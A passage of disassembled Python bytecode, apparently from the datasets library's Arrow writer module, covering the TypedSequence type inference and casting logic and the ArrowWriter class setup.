not JUMP_IF_FALSE_OR_POP LOAD_FAST type LOAD_CONST None COMPARE_OP is JUMP_IF_FALSE_OR_POP LOAD_FAST try_type LOAD_CONST None COMPARE_OP is LOAD_FAST self STORE_ATTR trying_int_optimization LOAD_CONST None LOAD_FAST self STORE_ATTR _inferred_type LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _inferred_type LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL generate_from_arrow_type LOAD_GLOBAL pa LOAD_METHOD array LOAD_FAST self CALL_METHOD LOAD_ATTR type CALL_FUNCTION LOAD_FAST self STORE_ATTR _inferred_type LOAD_FAST self LOAD_ATTR _inferred_type RETURN_VALUE LOAD_GLOBAL config LOAD_ATTR PIL_AVAILABLE POP_JUMP_IF_FALSE LOAD_CONST 'PIL' LOAD_GLOBAL sys LOAD_ATTR modules COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME PIL.Image STORE_FAST PIL LOAD_GLOBAL first_non_null_value LOAD_FAST data CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST non_null_idx STORE_FAST non_null_value LOAD_GLOBAL isinstance LOAD_FAST non_null_value LOAD_FAST PIL LOAD_ATTR Image LOAD_ATTR Image CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST <code object <listcomp> at 0x7fa6dd807c00, file "f.py", line 144> LOAD_CONST 'TypedSequence._infer_custom_type_and_encode.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST data GET_ITER CALL_FUNCTION LOAD_GLOBAL Image CALL_FUNCTION BUILD_TUPLE RETURN_VALUE LOAD_FAST data LOAD_CONST None BUILD_TUPLE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 34 STORE_FAST value LOAD_FAST value LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL Image CALL_FUNCTION LOAD_METHOD encode_example LOAD_FAST value CALL_METHOD JUMP_FORWARD to 30 LOAD_CONST None LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST type LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'TypedSequence is supposed to be used with pa.array(typed_sequence, type=None)' CALL_FUNCTION RAISE_VARARGS DELETE_FAST type LOAD_FAST self LOAD_ATTR data STORE_FAST data LOAD_FAST self LOAD_ATTR type LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR try_type LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _infer_custom_type_and_encode LOAD_FAST data CALL_METHOD UNPACK_SEQUENCE STORE_FAST data LOAD_FAST self STORE_ATTR _inferred_type LOAD_FAST self LOAD_ATTR _inferred_type LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR trying_type POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR try_type JUMP_FORWARD to 86 LOAD_FAST self LOAD_ATTR type STORE_FAST type JUMP_FORWARD to 96 LOAD_FAST self LOAD_ATTR _inferred_type STORE_FAST type LOAD_FAST type LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL get_nested_type LOAD_FAST type CALL_FUNCTION JUMP_FORWARD to 114 LOAD_CONST None STORE_FAST pa_type LOAD_FAST self LOAD_ATTR optimized_int_type LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL get_nested_type LOAD_FAST self LOAD_ATTR optimized_int_type CALL_FUNCTION JUMP_FORWARD to 138 LOAD_CONST None STORE_FAST optimized_int_pa_type LOAD_CONST False STORE_FAST trying_cast_to_python_objects EXTENDED_ARG SETUP_EXCEPT to 452 LOAD_GLOBAL isinstance LOAD_FAST pa_type LOAD_GLOBAL _ArrayXDExtensionType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL to_pyarrow_listarray LOAD_FAST data LOAD_FAST pa_type CALL_FUNCTION STORE_FAST storage LOAD_GLOBAL pa LOAD_ATTR ExtensionArray LOAD_METHOD from_storage LOAD_FAST pa_type LOAD_FAST storage CALL_METHOD RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST data LOAD_GLOBAL np LOAD_ATTR ndarray CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL numpy_to_pyarrow_listarray LOAD_FAST data CALL_FUNCTION STORE_FAST out JUMP_FORWARD to 270 LOAD_GLOBAL isinstance LOAD_FAST data LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST data POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_GLOBAL first_non_null_value LOAD_FAST data CALL_FUNCTION LOAD_CONST 1 BINARY_SUBSCR LOAD_GLOBAL np LOAD_ATTR ndarray CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL list_of_np_array_to_pyarrow_listarray LOAD_FAST data CALL_FUNCTION STORE_FAST out JUMP_FORWARD to 270 LOAD_CONST True STORE_FAST trying_cast_to_python_objects LOAD_GLOBAL pa LOAD_METHOD array LOAD_GLOBAL cast_to_python_objects LOAD_FAST data LOAD_CONST True LOAD_CONST ('only_1d_for_numpy',) CALL_FUNCTION CALL_METHOD STORE_FAST out LOAD_FAST self LOAD_ATTR trying_int_optimization EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL pa LOAD_ATTR types LOAD_METHOD is_int64 LOAD_FAST out LOAD_ATTR type CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST out LOAD_METHOD cast LOAD_FAST optimized_int_pa_type CALL_METHOD STORE_FAST out JUMP_FORWARD to 418 LOAD_GLOBAL pa LOAD_ATTR types LOAD_METHOD is_list LOAD_FAST out LOAD_ATTR type CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL pa LOAD_ATTR types LOAD_METHOD is_int64 LOAD_FAST out LOAD_ATTR type LOAD_ATTR value_type CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL array_cast LOAD_FAST out LOAD_GLOBAL pa LOAD_METHOD list_ LOAD_FAST optimized_int_pa_type CALL_METHOD CALL_FUNCTION STORE_FAST out JUMP_FORWARD to 418 LOAD_GLOBAL pa LOAD_ATTR types LOAD_METHOD is_list LOAD_FAST out LOAD_ATTR type LOAD_ATTR value_type CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL pa LOAD_ATTR types LOAD_METHOD is_int64 LOAD_FAST out LOAD_ATTR type LOAD_ATTR value_type LOAD_ATTR value_type CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL array_cast LOAD_FAST out LOAD_GLOBAL pa LOAD_METHOD list_ LOAD_GLOBAL pa LOAD_METHOD list_ LOAD_FAST optimized_int_pa_type CALL_METHOD CALL_METHOD CALL_FUNCTION STORE_FAST out JUMP_FORWARD to 448 LOAD_FAST type LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL cast_array_to_feature LOAD_FAST out LOAD_FAST type LOAD_FAST self LOAD_ATTR trying_type UNARY_NOT LOAD_CONST ('allow_number_to_str',) CALL_FUNCTION STORE_FAST out LOAD_FAST out RETURN_VALUE DUP_TOP LOAD_GLOBAL TypeError LOAD_GLOBAL pa LOAD_ATTR lib LOAD_ATTR ArrowInvalid LOAD_GLOBAL pa LOAD_ATTR lib LOAD_ATTR ArrowNotImplementedError BUILD_TUPLE COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP EXTENDED_ARG SETUP_FINALLY to 1010 LOAD_FAST self LOAD_ATTR trying_type EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL isinstance LOAD_FAST e LOAD_GLOBAL pa LOAD_ATTR lib LOAD_ATTR ArrowNotImplementedError CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE RAISE_VARARGS LOAD_FAST self LOAD_ATTR trying_type EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_EXCEPT to 616 LOAD_GLOBAL isinstance LOAD_FAST data LOAD_GLOBAL np LOAD_ATTR ndarray CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL numpy_to_pyarrow_listarray LOAD_FAST data CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST data LOAD_GLOBAL list CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST data EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL any LOAD_CONST <code object <genexpr> at 0x7fa6dd807300, file "f.py", line 217> LOAD_CONST 'TypedSequence.__arrow_array__.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST data GET_ITER CALL_FUNCTION CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL list_of_np_array_to_pyarrow_listarray LOAD_FAST data CALL_FUNCTION RETURN_VALUE LOAD_CONST True STORE_FAST trying_cast_to_python_objects LOAD_GLOBAL pa LOAD_METHOD array LOAD_GLOBAL cast_to_python_objects LOAD_FAST data LOAD_CONST True LOAD_CONST ('only_1d_for_numpy',) CALL_FUNCTION CALL_METHOD RETURN_VALUE POP_BLOCK JUMP_FORWARD to 830 DUP_TOP LOAD_GLOBAL pa LOAD_ATTR lib LOAD_ATTR ArrowInvalid COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 816 LOAD_CONST 'overflow' LOAD_GLOBAL str LOAD_FAST e CALL_FUNCTION COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL OverflowError LOAD_CONST 'There was an overflow with type ' LOAD_GLOBAL type_ LOAD_FAST data CALL_FUNCTION FORMAT_VALUE LOAD_CONST '. Try to reduce writer_batch_size to have batches smaller than 2GB.\n(' LOAD_FAST e FORMAT_VALUE LOAD_CONST ')' BUILD_STRING CALL_FUNCTION LOAD_CONST None RAISE_VARARGS JUMP_FORWARD to 812 LOAD_FAST self LOAD_ATTR trying_int_optimization EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'not in range' LOAD_GLOBAL str LOAD_FAST e CALL_FUNCTION COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD dtype LOAD_FAST optimized_int_pa_type LOAD_METHOD to_pandas_dtype CALL_METHOD CALL_METHOD LOAD_ATTR name STORE_FAST optimized_int_pa_type_str LOAD_GLOBAL logger LOAD_METHOD info LOAD_CONST 'Failed to cast a sequence to ' LOAD_FAST optimized_int_pa_type_str FORMAT_VALUE LOAD_CONST '. Falling back to int64.' BUILD_STRING CALL_METHOD POP_TOP LOAD_FAST out RETURN_VALUE LOAD_FAST trying_cast_to_python_objects EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'Could not convert' LOAD_GLOBAL str LOAD_FAST e CALL_FUNCTION COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL pa LOAD_METHOD array LOAD_GLOBAL cast_to_python_objects LOAD_FAST data LOAD_CONST True LOAD_CONST False LOAD_CONST ('only_1d_for_numpy', 'optimize_list_casting') CALL_FUNCTION CALL_METHOD STORE_FAST out LOAD_FAST type LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL cast_array_to_feature LOAD_FAST out LOAD_FAST type LOAD_CONST True LOAD_CONST ('allow_number_to_str',) CALL_FUNCTION STORE_FAST out LOAD_FAST out RETURN_VALUE RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 830 END_FINALLY JUMP_FORWARD to 1006 LOAD_CONST 'overflow' LOAD_GLOBAL str LOAD_FAST e CALL_FUNCTION COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL OverflowError LOAD_CONST 'There was an overflow with type ' LOAD_GLOBAL type_ LOAD_FAST data CALL_FUNCTION FORMAT_VALUE LOAD_CONST '. Try to reduce writer_batch_size to have batches smaller than 2GB.\n(' LOAD_FAST e FORMAT_VALUE LOAD_CONST ')' BUILD_STRING CALL_FUNCTION LOAD_CONST None RAISE_VARARGS JUMP_FORWARD to 1006 LOAD_FAST self LOAD_ATTR trying_int_optimization EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'not in range' LOAD_GLOBAL str LOAD_FAST e CALL_FUNCTION COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD dtype LOAD_FAST optimized_int_pa_type LOAD_METHOD to_pandas_dtype CALL_METHOD CALL_METHOD LOAD_ATTR name STORE_FAST optimized_int_pa_type_str LOAD_GLOBAL logger LOAD_METHOD info LOAD_CONST 'Failed to cast a sequence to ' LOAD_FAST optimized_int_pa_type_str FORMAT_VALUE LOAD_CONST '. Falling back to int64.' BUILD_STRING CALL_METHOD POP_TOP LOAD_FAST out RETURN_VALUE LOAD_FAST trying_cast_to_python_objects EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'Could not convert' LOAD_GLOBAL str LOAD_FAST e CALL_FUNCTION COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL pa LOAD_METHOD array LOAD_GLOBAL cast_to_python_objects LOAD_FAST data LOAD_CONST True LOAD_CONST False LOAD_CONST ('only_1d_for_numpy', 'optimize_list_casting') CALL_FUNCTION CALL_METHOD STORE_FAST out LOAD_FAST type LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL cast_array_to_feature LOAD_FAST out LOAD_FAST type LOAD_CONST True LOAD_CONST ('allow_number_to_str',) CALL_FUNCTION STORE_FAST out LOAD_FAST out RETURN_VALUE RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 1024 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 22 STORE_FAST value LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL np LOAD_ATTR ndarray CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'OptimizedTypedSequence' STORE_NAME __qualname__ LOAD_CONST (None, None, None, None) LOAD_NAME Optional LOAD_NAME FeatureType BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME FeatureType BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME FeatureType BINARY_SUBSCR LOAD_CONST ('type', 'try_type', 'col', 'optimized_int_type') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6dd807780, file "f.py", line 281> LOAD_CONST 'OptimizedTypedSequence.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL Value LOAD_CONST 'int8' CALL_FUNCTION LOAD_GLOBAL Value LOAD_CONST 'int8' CALL_FUNCTION LOAD_GLOBAL Value LOAD_CONST 'int32' CALL_FUNCTION LOAD_GLOBAL Value LOAD_CONST 'int8' CALL_FUNCTION LOAD_CONST ('attention_mask', 'special_tokens_mask', 'input_ids', 'token_type_ids') BUILD_CONST_KEY_MAP STORE_FAST optimized_int_type_by_col LOAD_FAST type LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST try_type LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST optimized_int_type_by_col LOAD_METHOD get LOAD_FAST col LOAD_CONST None CALL_METHOD STORE_FAST optimized_int_type LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ LOAD_FAST data LOAD_FAST type LOAD_FAST try_type LOAD_FAST optimized_int_type LOAD_CONST ('type', 'try_type', 'optimized_int_type') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ArrowWriter' STORE_NAME __qualname__ LOAD_CONST 'Shuffles and writes Examples to Arrow files.' STORE_NAME __doc__ LOAD_NAME pa LOAD_ATTR RecordBatchStreamWriter STORE_NAME _WRITER_CLASS LOAD_CONST (None, None, None, None, None, None, None, False, False, False, True, 'examples', False, None) LOAD_NAME Optional LOAD_NAME pa LOAD_ATTR Schema BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Features BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pa LOAD_ATTR NativeFile BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME bool LOAD_NAME bool LOAD_NAME bool LOAD_NAME str LOAD_NAME bool LOAD_NAME Optional LOAD_NAME dict BINARY_SUBSCR LOAD_CONST ('schema', 'features', 'path', 'stream', 'fingerprint', 'writer_batch_size', 'hash_salt', 'check_duplicates', 'disable_nullable', 'update_features', 'with_metadata', 'unit', 'embed_local_files', 'storage_options') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fa6dd807e40, file "f.py", line 311> LOAD_CONST 'ArrowWriter.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __len__ at 0x7fa6dd807a50, file "f.py", line 381> LOAD_CONST 'ArrowWriter.__len__' MAKE_FUNCTION STORE_NAME __len__ LOAD_CONST <code object __enter__ at 0x7fa6dd807d20, file "f.py", line 385> LOAD_CONST 'ArrowWriter.__enter__' MAKE_FUNCTION STORE_NAME __enter__ LOAD_CONST <code object __exit__ at 0x7fa6dd807db0, file "f.py", line 388> LOAD_CONST 'ArrowWriter.__exit__' MAKE_FUNCTION STORE_NAME __exit__ LOAD_CONST <code object close at 0x7fa6dd8079c0, file "f.py", line 391> LOAD_CONST 'ArrowWriter.close' MAKE_FUNCTION STORE_NAME close LOAD_NAME pa LOAD_ATTR Schema LOAD_CONST ('inferred_schema',) BUILD_CONST_KEY_MAP LOAD_CONST <code object _build_writer at 0x7fa6dd8075d0, file "f.py", line 400> LOAD_CONST 'ArrowWriter._build_writer' MAKE_FUNCTION STORE_NAME _build_writer LOAD_NAME property LOAD_CONST <code object schema at 0x7fa6dda506f0, file "f.py", line 433> LOAD_CONST 'ArrowWriter.schema' MAKE_FUNCTION CALL_FUNCTION STORE_NAME schema LOAD_NAME staticmethod LOAD_CONST (None,) LOAD_NAME DatasetInfo LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Dict LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('info', 'fingerprint', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _build_metadata at 0x7fa6ed4e5c90, file "f.py", line 448> LOAD_CONST 'ArrowWriter._build_metadata' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_metadata LOAD_CONST <code object write_examples_on_file at 0x7fa6a191c9c0, file "f.py", line 462> LOAD_CONST 'ArrowWriter.write_examples_on_file' MAKE_FUNCTION STORE_NAME write_examples_on_file LOAD_CONST <code object write_rows_on_file at 0x7fa6a191c930, file "f.py", line 503> LOAD_CONST 'ArrowWriter.write_rows_on_file' MAKE_FUNCTION STORE_NAME write_rows_on_file LOAD_CONST (None, None) LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Union LOAD_NAME str LOAD_NAME int LOAD_NAME bytes BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('example', 'key', 'writer_batch_size') BUILD_CONST_KEY_MAP LOAD_CONST <code object write at 0x7fa6d6884c90, file "f.py", line 511> LOAD_CONST 'ArrowWriter.write' MAKE_FUNCTION STORE_NAME write LOAD_CONST <code object check_duplicate_keys at 0x7fa6d68840c0, file "f.py", line 542> LOAD_CONST 'ArrowWriter.check_duplicate_keys' MAKE_FUNCTION STORE_NAME check_duplicate_keys LOAD_CONST (None,) LOAD_NAME pa LOAD_ATTR Table LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('row', 'writer_batch_size') BUILD_CONST_KEY_MAP LOAD_CONST <code object write_row at 0x7fa6d68844b0, file "f.py", line 557> LOAD_CONST 'ArrowWriter.write_row' MAKE_FUNCTION STORE_NAME write_row LOAD_CONST (None,) LOAD_NAME Dict LOAD_NAME str LOAD_NAME List BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('batch_examples', 'writer_batch_size') BUILD_CONST_KEY_MAP LOAD_CONST <code object write_batch at 0x7fa6d6884930, file "f.py", line 576> LOAD_CONST 'ArrowWriter.write_batch' MAKE_FUNCTION STORE_NAME write_batch LOAD_CONST (None,) LOAD_NAME pa LOAD_ATTR Table LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('pa_table', 'writer_batch_size') BUILD_CONST_KEY_MAP LOAD_CONST <code object write_table at 0x7fa6d68848a0, file "f.py", line 636> LOAD_CONST 'ArrowWriter.write_table' MAKE_FUNCTION STORE_NAME write_table LOAD_CONST (True,) LOAD_CONST <code object finalize at 0x7fa6d68841e0, file "f.py", line 654> LOAD_CONST 'ArrowWriter.finalize' MAKE_FUNCTION STORE_NAME finalize LOAD_CONST None RETURN_VALUE LOAD_FAST path LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST stream LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'At least one of path and stream must be provided.' CALL_FUNCTION RAISE_VARARGS LOAD_FAST features LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST features LOAD_FAST self STORE_ATTR _features LOAD_CONST None LOAD_FAST self STORE_ATTR _schema JUMP_FORWARD to 88 LOAD_FAST schema LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST schema LOAD_FAST self STORE_ATTR _schema LOAD_GLOBAL Features LOAD_METHOD from_arrow_schema LOAD_FAST self LOAD_ATTR _schema CALL_METHOD LOAD_FAST self STORE_ATTR _features JUMP_FORWARD to 88 LOAD_CONST None LOAD_FAST self STORE_ATTR _features LOAD_CONST None LOAD_FAST self STORE_ATTR _schema LOAD_FAST hash_salt LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL KeyHasher LOAD_FAST hash_salt CALL_FUNCTION LOAD_FAST self STORE_ATTR _hasher JUMP_FORWARD to 118 LOAD_GLOBAL KeyHasher LOAD_CONST '' CALL_FUNCTION LOAD_FAST self STORE_ATTR _hasher LOAD_FAST check_duplicates LOAD_FAST self STORE_ATTR _check_duplicates LOAD_FAST disable_nullable LOAD_FAST self STORE_ATTR _disable_nullable LOAD_FAST stream LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL fsspec LOAD_ATTR get_fs_token_paths LOAD_FAST path LOAD_FAST storage_options LOAD_CONST ('storage_options',) CALL_FUNCTION STORE_FAST fs_token_paths LOAD_FAST fs_token_paths LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST self STORE_ATTR _fs LOAD_GLOBAL is_remote_filesystem LOAD_FAST self LOAD_ATTR _fs CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_FAST fs_token_paths LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR JUMP_FORWARD to 202 LOAD_FAST self LOAD_ATTR _fs LOAD_METHOD unstrip_protocol LOAD_FAST fs_token_paths LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD LOAD_FAST self STORE_ATTR _path LOAD_FAST self LOAD_ATTR _fs LOAD_METHOD open LOAD_FAST fs_token_paths LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'wb' CALL_METHOD LOAD_FAST self STORE_ATTR stream LOAD_CONST True LOAD_FAST self STORE_ATTR _closable_stream JUMP_FORWARD to 262 LOAD_CONST None LOAD_FAST self STORE_ATTR _fs LOAD_CONST None LOAD_FAST self STORE_ATTR _path LOAD_FAST stream LOAD_FAST self STORE_ATTR stream LOAD_CONST False LOAD_FAST self STORE_ATTR _closable_stream LOAD_FAST fingerprint LOAD_FAST self STORE_ATTR fingerprint LOAD_FAST disable_nullable LOAD_FAST self STORE_ATTR disable_nullable LOAD_FAST writer_batch_size EXTENDED_ARG JUMP_IF_TRUE_OR_POP LOAD_GLOBAL config LOAD_ATTR DEFAULT_MAX_BATCH_SIZE LOAD_FAST self STORE_ATTR writer_batch_size LOAD_FAST update_features LOAD_FAST self STORE_ATTR update_features LOAD_FAST with_metadata LOAD_FAST self STORE_ATTR with_metadata LOAD_FAST unit LOAD_FAST self STORE_ATTR unit LOAD_FAST embed_local_files LOAD_FAST self STORE_ATTR embed_local_files LOAD_CONST 0 LOAD_FAST self STORE_ATTR _num_examples LOAD_CONST 0 LOAD_FAST self STORE_ATTR _num_bytes BUILD_LIST LOAD_FAST self STORE_ATTR current_examples BUILD_LIST LOAD_FAST self STORE_ATTR current_rows LOAD_CONST None LOAD_FAST self STORE_ATTR pa_writer BUILD_LIST LOAD_FAST self STORE_ATTR hkey_record LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _num_examples LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR current_examples CALL_FUNCTION BINARY_ADD LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR current_rows CALL_FUNCTION BINARY_ADD RETURN_VALUE LOAD_FAST self RETURN_VALUE LOAD_FAST self LOAD_METHOD close CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR pa_writer POP_JUMP_IF_FALSE SETUP_EXCEPT to 22 LOAD_FAST self LOAD_ATTR pa_writer LOAD_METHOD close CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 42 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 42 END_FINALLY LOAD_FAST self LOAD_ATTR _closable_stream POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR stream LOAD_ATTR closed POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR stream LOAD_METHOD close CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR schema STORE_FAST schema LOAD_GLOBAL Features LOAD_METHOD from_arrow_schema LOAD_FAST inferred_schema CALL_METHOD STORE_FAST inferred_features LOAD_FAST self LOAD_ATTR _features LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR update_features POP_JUMP_IF_FALSE LOAD_CONST <code object <dictcomp> at 0x7fa6dd807540, file "f.py", line 407> LOAD_CONST 'ArrowWriter._build_writer.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR _features LOAD_ATTR type GET_ITER CALL_FUNCTION STORE_FAST fields SETUP_LOOP to 106 LOAD_FAST inferred_features LOAD_ATTR type GET_ITER FOR_ITER to 104 STORE_FAST inferred_field LOAD_FAST inferred_field LOAD_ATTR name STORE_FAST name LOAD_FAST name LOAD_FAST fields COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST inferred_field LOAD_FAST fields LOAD_FAST name BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _features LOAD_FAST name BINARY_SUBSCR LOAD_FAST inferred_features LOAD_FAST name STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST inferred_features LOAD_FAST self STORE_ATTR _features LOAD_FAST inferred_schema STORE_FAST schema JUMP_FORWARD to 130 LOAD_FAST inferred_features LOAD_FAST self STORE_ATTR _features LOAD_FAST inferred_features LOAD_ATTR arrow_schema STORE_FAST schema LOAD_FAST self LOAD_ATTR disable_nullable POP_JUMP_IF_FALSE LOAD_GLOBAL pa LOAD_METHOD schema LOAD_CONST <code object <genexpr> at 0x7fa6dd807c90, file "f.py", line 420> LOAD_CONST 'ArrowWriter._build_writer.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST schema GET_ITER CALL_FUNCTION CALL_METHOD STORE_FAST schema LOAD_FAST self LOAD_ATTR with_metadata POP_JUMP_IF_FALSE LOAD_FAST schema LOAD_METHOD with_metadata LOAD_FAST self LOAD_METHOD _build_metadata LOAD_GLOBAL DatasetInfo LOAD_FAST self LOAD_ATTR _features LOAD_CONST ('features',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR fingerprint CALL_METHOD CALL_METHOD STORE_FAST schema JUMP_FORWARD to 202 LOAD_FAST schema LOAD_METHOD with_metadata BUILD_MAP CALL_METHOD STORE_FAST schema LOAD_FAST schema LOAD_FAST self STORE_ATTR _schema LOAD_FAST self LOAD_METHOD 